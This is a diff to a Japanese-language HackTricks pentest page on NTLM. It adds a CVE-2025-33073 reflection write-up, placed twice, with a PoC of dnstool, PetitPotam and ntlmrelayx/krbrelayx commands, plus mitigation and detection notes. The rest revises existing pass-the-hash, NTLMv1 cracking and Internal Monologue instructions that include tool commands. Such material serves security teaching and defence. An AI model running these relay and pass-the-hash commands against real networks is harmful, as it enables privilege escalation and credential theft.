diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index a0c3324da..049ea1c76 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,40 +2,86 @@ {{#include ../../banners/hacktricks-training.md}} -## 基本情報 +## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) -**Windows XP と Server 2003** が稼働している環境では、LM (Lan Manager) ハッシュが使用されますが、これらは簡単に侵害されることが広く認識されています。特定の LM ハッシュ `AAD3B435B51404EEAAD3B435B51404EE` は、LM が使用されていないシナリオを示し、空の文字列のハッシュを表します。 +Windowsには、ホストから発信されたNTLM(またはKerberos)認証が**同じ**ホストにリレーされてSYSTEM特権を取得する*reflection*攻撃を防ぐためのいくつかの緩和策があります。 -デフォルトでは、**Kerberos** 認証プロトコルが主要な方法として使用されます。NTLM (NT LAN Manager) は特定の状況下で介入します:Active Directory の不在、ドメインの存在しない場合、誤った設定による Kerberos の故障、または有効なホスト名ではなく IP アドレスを使用して接続を試みる場合です。 +Microsoftは、MS08-068(SMB→SMB)、MS09-013(HTTP→SMB)、MS15-076(DCOM→DCOM)およびその後のパッチでほとんどの公開チェーンを破りましたが、**CVE-2025-33073**は、**SMBクライアントが*marshalled*(シリアライズされた)ターゲット情報を含むサービスプリンシパル名(SPN)を切り捨てる**方法を悪用することで保護を回避できることを示しています。 -ネットワークパケットに **"NTLMSSP"** ヘッダーが存在することは、NTLM 認証プロセスを示します。 +### バグのTL;DR +1. 攻撃者は、*marshalled SPN*をエンコードしたラベルを持つ**DNS Aレコード**を登録します – 例: +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. 被害者はそのホスト名に認証するよう強制されます(PetitPotam、DFSCoerceなど)。 +3. SMBクライアントがターゲット文字列`cifs/srv11UWhRCAAAAA…`を`lsasrv!LsapCheckMarshalledTargetInfo`に渡すと、`CredUnmarshalTargetInfo`への呼び出しが**シリアライズされたブロブを削除**し、**`cifs/srv1`**が残ります。 +4. `msv1_0!SspIsTargetLocalhost`(またはKerberosの同等物)は、短いホスト部分がコンピュータ名(`SRV1`)と一致するため、ターゲットを*localhost*と見なします。 +5. その結果、サーバーは`NTLMSSP_NEGOTIATE_LOCAL_CALL`を設定し、**LSASSのSYSTEMアクセス・トークン**をコンテキストに注入します(Kerberosの場合、SYSTEMマークのサブセッションキーが作成されます)。 +6. `ntlmrelayx.py` **または** `krbrelayx.py`を使用してその認証をリレーすると、同じホスト上で完全なSYSTEM権限が得られます。 -認証プロトコル - LM、NTLMv1、NTLMv2 - のサポートは、`%windir%\Windows\System32\msv1\_0.dll` にある特定の DLL によって提供されます。 +### クイックPoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 -**重要なポイント**: +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL -- LM ハッシュは脆弱であり、空の LM ハッシュ (`AAD3B435B51404EEAAD3B435B51404EE`) はその不使用を示します。 -- Kerberos はデフォルトの認証方法であり、NTLM は特定の条件下でのみ使用されます。 -- NTLM 認証パケットは "NTLMSSP" ヘッダーによって識別可能です。 -- LM、NTLMv1、および NTLMv2 プロトコルはシステムファイル `msv1\_0.dll` によってサポートされています。 +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support -## LM、NTLMv1 および NTLMv2 +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### Patch & Mitigations +* KBパッチ **CVE-2025-33073** は、`mrxsmb.sys::SmbCeCreateSrvCall` にチェックを追加し、ターゲットにマシュアル情報が含まれているSMB接続をブロックします(`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`)。 +* **SMB署名** を強制して、パッチが適用されていないホストでもリフレクションを防ぎます。 +* `*...*` に似たDNSレコードを監視し、強制ベクトル(PetitPotam、DFSCoerce、AuthIP...)をブロックします。 -使用するプロトコルを確認および設定できます: +### Detection ideas +* クライアントIP ≠ サーバーIP の `NTLMSSP_NEGOTIATE_LOCAL_CALL` を含むネットワークキャプチャ。 +* サブセッションキーとクライアントプリンシパルがホスト名と等しいKerberos AP-REQ。 +* 同じホストからのリモートSMB書き込みに続くWindowsイベント4624/4648 SYSTEMログオン。 + +## References +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + +## Basic Information + +**Windows XPおよびServer 2003** が稼働している環境では、LM(Lan Manager)ハッシュが使用されますが、これらは簡単に侵害されることが広く認識されています。特定のLMハッシュ `AAD3B435B51404EEAAD3B435B51404EE` は、LMが使用されていないシナリオを示し、空の文字列のハッシュを表します。 + +デフォルトでは、**Kerberos** 認証プロトコルが主な方法として使用されます。NTLM(NT LAN Manager)は、Active Directoryの不在、ドメインの存在しない場合、誤った設定によるKerberosの故障、または有効なホスト名ではなくIPアドレスを使用して接続を試みる場合に特定の状況下で介入します。 + +ネットワークパケットに**"NTLMSSP"** ヘッダーが存在することは、NTLM認証プロセスを示します。 + +認証プロトコル - LM、NTLMv1、NTLMv2 - のサポートは、`%windir%\Windows\System32\msv1\_0.dll` にある特定のDLLによって提供されます。 + +**Key Points**: + +- LMハッシュは脆弱であり、空のLMハッシュ(`AAD3B435B51404EEAAD3B435B51404EE`)はその非使用を示します。 +- Kerberosはデフォルトの認証方法であり、NTLMは特定の条件下でのみ使用されます。 +- NTLM認証パケットは「NTLMSSP」ヘッダーで識別できます。 +- LM、NTLMv1、およびNTLMv2プロトコルは、システムファイル `msv1\_0.dll` によってサポートされています。 + +## LM, NTLMv1 and NTLMv2 + +使用するプロトコルを確認および構成できます: ### GUI -_secpol.msc_ を実行 -> ローカルポリシー -> セキュリティオプション -> ネットワークセキュリティ: LAN マネージャー認証レベル。レベルは 0 から 5 までの 6 段階です。 +_secpol.msc_ を実行 -> ローカルポリシー -> セキュリティオプション -> ネットワークセキュリティ: LAN Manager認証レベル。レベルは6つ(0から5まで)あります。 ![](<../../images/image (919).png>) -### レジストリ +### Registry -これによりレベル 5 が設定されます: +これによりレベル5が設定されます: ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f ``` -可能な値: +可能な値: ``` 0 - Send LM & NTLM responses 1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated @@ -49,8 +95,8 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE 1. **ユーザー**が**資格情報**を入力します。 2. クライアントマシンが**認証要求**を送信し、**ドメイン名**と**ユーザー名**を送ります。 3. **サーバー**が**チャレンジ**を送信します。 -4. **クライアント**が**パスワードのハッシュ**をキーとして**チャレンジ**を暗号化し、応答として送信します。 -5. **サーバー**が**ドメインコントローラー**に**ドメイン名、ユーザー名、チャレンジ、応答**を送信します。Active Directoryが構成されていない場合や、ドメイン名がサーバーの名前である場合、資格情報は**ローカルで確認**されます。 +4. **クライアント**が**チャレンジ**をパスワードのハッシュをキーとして**暗号化**し、応答として送信します。 +5. **サーバー**が**ドメインコントローラー**に**ドメイン名、ユーザー名、チャレンジ、応答**を送信します。Active Directoryが構成されていない場合やドメイン名がサーバーの名前である場合、資格情報は**ローカルで確認**されます。 6. **ドメインコントローラー**がすべてが正しいか確認し、情報をサーバーに送信します。 **サーバー**と**ドメインコントローラー**は、**Netlogon**サーバーを介して**セキュアチャネル**を作成できます。ドメインコントローラーはサーバーのパスワードを知っているため(それは**NTDS.DIT**データベース内にあります)。 @@ -71,21 +117,21 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE - 3 つの部分は**個別に攻撃**されて NT ハッシュを見つけることができます - **DESは破られる可能性があります** - 3 番目のキーは常に**5 つのゼロ**で構成されます。 -- **同じチャレンジ**が与えられた場合、**応答**は**同じ**になります。したがって、被害者に**"1122334455667788"**という文字列を**チャレンジ**として与え、**事前計算されたレインボーテーブル**を使用して応答を攻撃できます。 +- **同じチャレンジ**に対して**応答**は**同じ**になります。したがって、被害者に**"1122334455667788"**という文字列を**チャレンジ**として与え、**事前計算されたレインボーテーブル**を使用して応答を攻撃できます。 ### NTLMv1 攻撃 現在、制約のない委任が構成された環境を見つけることは少なくなっていますが、これは**構成された Print Spooler サービス**を**悪用できない**という意味ではありません。 -すでに AD にあるいくつかの資格情報/セッションを悪用して、**プリンターに対して**あなたの制御下にある**ホスト**に認証を要求させることができます。その後、`metasploit auxiliary/server/capture/smb`または`responder`を使用して、**認証チャレンジを 1122334455667788**に設定し、認証試行をキャプチャし、**NTLMv1**を使用して行われた場合は**クラック**できるようになります。\ +すでに AD にあるいくつかの資格情報/セッションを悪用して、**プリンターに対して認証を要求**することができます。次に、`metasploit auxiliary/server/capture/smb`または`responder`を使用して、**認証チャレンジを 1122334455667788**に設定し、認証試行をキャプチャします。もしそれが**NTLMv1**を使用して行われた場合、**クラック**することができます。\ `responder`を使用している場合は、**フラグ `--lm`**を使用して**認証をダウングレード**しようとすることができます。\ _この技術では、認証は NTLMv1 を使用して行う必要があります(NTLMv2 は無効です)。_ -プリンターは認証中にコンピューターアカウントを使用し、コンピューターアカウントは**長くてランダムなパスワード**を使用するため、一般的な**辞書**を使用して**クラック**することは**おそらくできません**。しかし、**NTLMv1**認証は**DES**を使用します([詳細はこちら](#ntlmv1-challenge))、したがって、DESのクラックに特化したサービスを使用すれば、クラックできるでしょう(例えば、[https://crack.sh/](https://crack.sh)や[https://ntlmv1.com/](https://ntlmv1.com)を使用できます)。 +プリンターは認証中にコンピューターアカウントを使用し、コンピューターアカウントは**長くてランダムなパスワード**を使用するため、一般的な**辞書**を使用して**クラック**することは**おそらくできません**。しかし、**NTLMv1**認証は**DES**を使用します([こちらに詳細](#ntlmv1-challenge))、したがって、DESのクラックに特化したサービスを使用すれば、クラックすることができます(例えば、[https://crack.sh/](https://crack.sh)や[https://ntlmv1.com/](https://ntlmv1.com)を使用できます)。 ### hashcat を使用した NTLMv1 攻撃 -NTLMv1 は、NTLMv1 メッセージを hashcat でクラックできる形式にフォーマットする NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) でも破られます。 +NTLMv1 は、NTLMv1 メッセージを hashcat でクラックできる形式にフォーマットする NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) でも破られることがあります。 コマンド ```bash @@ -159,7 +205,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **最初のレスポンス**は、**クライアントとドメイン**で構成された**文字列**を**HMAC_MD5**で暗号化し、**NTハッシュ**の**MD4ハッシュ**を**キー**として使用することによって作成されます。次に、**結果**は**チャレンジ**を**HMAC_MD5**で暗号化するための**キー**として使用されます。このために、**8バイトのクライアントチャレンジが追加されます**。合計: 24 B。 -**2番目のレスポンス**は、**いくつかの値**(新しいクライアントチャレンジ、**リプレイ攻撃**を避けるための**タイムスタンプ**など)を使用して作成されます... +**2番目のレスポンス**は、**いくつかの値**(新しいクライアントチャレンジ、**リプレイ攻撃**を避けるための**タイムスタンプ**など)を使用して作成されます。 **成功した認証プロセスをキャプチャしたpcapがある場合**、このガイドに従ってドメイン、ユーザー名、チャレンジ、レスポンスを取得し、パスワードをクラックすることができます: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) @@ -181,11 +227,11 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm ### LinuxからのPass-the-Hash LinuxからPass-the-Hashを使用してWindowsマシンでコード実行を取得できます。\ -[**ここでやり方を学ぶことができます。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) +[**ここでやり方を学ぶためにアクセスしてください。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Impacket Windowsコンパイルツール -[こちらからWindows用のimpacketバイナリをダウンロードできます。](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries) +[ここからWindows用のimpacketバイナリをダウンロードできます。](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries) - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` @@ -194,7 +240,7 @@ LinuxからPass-the-Hashを使用してWindowsマシンでコード実行を取 ### Invoke-TheHash -こちらからpowershellスクリプトを取得できます: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) +ここからpowershellスクリプトを取得できます: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) #### Invoke-SMBExec ```bash @@ -214,7 +260,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -この関数は**他のすべてのミックス**です。**複数のホスト**を渡すことができ、**除外**する人を指定し、使用したい**オプション**を**選択**できます(_SMBExec, WMIExec, SMBClient, SMBEnum_)。**SMBExec**と**WMIExec**の**いずれか**を選択した場合、_**Command**_パラメータを指定しないと、単に**十分な権限**があるかどうかを**確認**します。 +この関数は**他のすべてのミックス**です。**複数のホスト**を渡すことができ、**特定のホストを除外**し、使用したい**オプション**(_SMBExec, WMIExec, SMBClient, SMBEnum_)を**選択**できます。**SMBExec**と**WMIExec**のいずれかを選択した場合でも、_**Command**_パラメータを指定しないと、単に**十分な権限**があるかどうかを**確認**します。 ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -238,28 +284,74 @@ wce.exe -s ::: **Windowsホストから資格情報を取得する方法についての詳細は** [**このページを読むべきです**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**。** -## インターナルモノローグ攻撃 +## 内部モノローグ攻撃 -インターナルモノローグ攻撃は、攻撃者が被害者のマシンからNTLMハッシュを**LSASSプロセスと直接やり取りすることなく**取得できるステルスな資格情報抽出技術です。Mimikatzとは異なり、Mimikatzはメモリから直接ハッシュを読み取るため、エンドポイントセキュリティソリューションやCredential Guardによって頻繁にブロックされます。この攻撃は、**セキュリティサポートプロバイダインターフェース(SSPI)を介してNTLM認証パッケージ(MSV1_0)へのローカルコールを利用します**。攻撃者はまず**NTLM設定をダウングレード**(例:LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic)してNetNTLMv1が許可されるようにします。その後、実行中のプロセスから取得した既存のユーザートークンを偽装し、既知のチャレンジを使用してNetNTLMv1応答を生成するためにローカルでNTLM認証をトリガーします。 +内部モノローグ攻撃は、攻撃者が被害者のマシンからNTLMハッシュを**LSASSプロセスと直接対話することなく**取得できるステルスな資格情報抽出技術です。Mimikatzとは異なり、メモリから直接ハッシュを読み取ることができ、エンドポイントセキュリティソリューションやCredential Guardによって頻繁にブロックされるのに対し、この攻撃は**セキュリティサポートプロバイダインターフェース(SSPI)を介してNTLM認証パッケージ(MSV1_0)へのローカルコールを利用します**。攻撃者はまず**NTLM設定をダウングレード**(例:LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic)してNetNTLMv1が許可されるようにします。その後、実行中のプロセスから取得した既存のユーザートークンを偽装し、既知のチャレンジを使用してNetNTLMv1応答を生成するためにローカルでNTLM認証をトリガーします。 -これらのNetNTLMv1応答をキャプチャした後、攻撃者は**事前計算されたレインボーテーブル**を使用して元のNTLMハッシュを迅速に回復でき、横移動のためのさらなるPass-the-Hash攻撃を可能にします。重要なのは、インターナルモノローグ攻撃はネットワークトラフィックを生成せず、コードを注入せず、直接メモリダンプをトリガーしないため、Mimikatzのような従来の方法と比較して防御者が検出するのが難しいという点です。 +これらのNetNTLMv1応答をキャプチャした後、攻撃者は**事前計算されたレインボーテーブル**を使用して元のNTLMハッシュを迅速に回復でき、横移動のためのさらなるPass-the-Hash攻撃を可能にします。重要なことに、内部モノローグ攻撃はネットワークトラフィックを生成せず、コードを注入せず、直接メモリダンプをトリガーしないため、Mimikatzのような従来の方法と比較して防御者が検出するのが難しくなります。 -NetNTLMv1が受け入れられない場合—強制されたセキュリティポリシーのために、攻撃者はNetNTLMv1応答を取得できない可能性があります。 +NetNTLMv1が受け入れられない場合—強制されたセキュリティポリシーのため、攻撃者はNetNTLMv1応答を取得できない可能性があります。 -この場合に対処するために、インターナルモノローグツールが更新されました:`AcceptSecurityContext()`を使用してサーバートークンを動的に取得し、NetNTLMv1が失敗した場合でも**NetNTLMv2応答をキャプチャ**します。NetNTLMv2は解読がはるかに難しいですが、限られたケースでリレー攻撃やオフラインブルートフォースの道を開きます。 +この場合に対処するために、内部モノローグツールが更新されました:`AcceptSecurityContext()`を使用してサーバートークンを動的に取得し、NetNTLMv1が失敗した場合でも**NetNTLMv2応答をキャプチャ**します。NetNTLMv2は解読がはるかに難しいですが、限られたケースでリレー攻撃やオフラインブルートフォースの道を開きます。 PoCは**[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**で見つけることができます。 ## NTLMリレーとレスポンダー -**これらの攻撃を実行する方法についての詳細なガイドはここで読むことができます:** +**これらの攻撃を実行する方法についての詳細なガイドをこちらで読む:** {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -## ネットワークキャプチャからNTLMチャレンジを解析する +## ネットワークキャプチャからのNTLMチャレンジの解析 **次のリンクを使用できます** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +## NTLM & Kerberos *リフレクション*(CVE-2025-33073)を介したシリアライズされたSPN + +Windowsには、ホストから発信されたNTLM(またはKerberos)認証が**同じ**ホストにリレーされてSYSTEM権限を取得するのを防ぐためのいくつかの緩和策が含まれています。 + +Microsoftは、MS08-068(SMB→SMB)、MS09-013(HTTP→SMB)、MS15-076(DCOM→DCOM)およびその後のパッチでほとんどの公開チェーンを破りましたが、**CVE-2025-33073**は、**SMBクライアントが*マシャル*(シリアライズされた)ターゲット情報を含むサービスプリンシパル名(SPN)を切り捨てる方法を悪用することで、保護を回避できることを示しています**。 + +### バグのTL;DR +1. 攻撃者は、マシャルされたSPNをエンコードした**DNS Aレコード**を登録します – 例: +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. 被害者はそのホスト名に対して認証するよう強制されます(PetitPotam、DFSCoerceなど)。 +3. SMBクライアントがターゲット文字列`cifs/srv11UWhRCAAAAA…`を`lsasrv!LsapCheckMarshalledTargetInfo`に渡すと、`CredUnmarshalTargetInfo`への呼び出しが**シリアライズされたブロブを削除**し、**`cifs/srv1`**が残ります。 +4. `msv1_0!SspIsTargetLocalhost`(またはKerberosの同等物)は、短いホスト部分がコンピュータ名(`SRV1`)と一致するため、ターゲットを*localhost*と見なします。 +5. その結果、サーバーは`NTLMSSP_NEGOTIATE_LOCAL_CALL`を設定し、**LSASSのSYSTEMアクセス・トークン**をコンテキストに注入します(Kerberosの場合、SYSTEMマークのサブセッションキーが作成されます)。 +6. `ntlmrelayx.py`**または**`krbrelayx.py`を使用してその認証をリレーすると、同じホストで完全なSYSTEM権限が得られます。 + +### クイックPoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### パッチと緩和策 +* **CVE-2025-33073** のKBパッチは、`mrxsmb.sys::SmbCeCreateSrvCall` にチェックを追加し、ターゲットにマシュールされた情報が含まれているSMB接続をブロックします(`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`)。 +* パッチが適用されていないホストでも反射を防ぐために**SMB署名**を強制します。 +* `*...*` に似たDNSレコードを監視し、強制ベクトル(PetitPotam、DFSCoerce、AuthIPなど)をブロックします。 + +### 検出アイデア +* クライアントIP ≠ サーバーIPの`NTLMSSP_NEGOTIATE_LOCAL_CALL`を含むネットワークキャプチャ。 +* サブセッションキーとクライアントプリンシパルがホスト名と等しいKerberos AP-REQ。 +* 同じホストからのリモートSMB書き込みに続いて即座に発生するWindowsイベント4624/4648 SYSTEMログオン。 + +## 参考文献 +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + {{#include ../../banners/hacktricks-training.md}}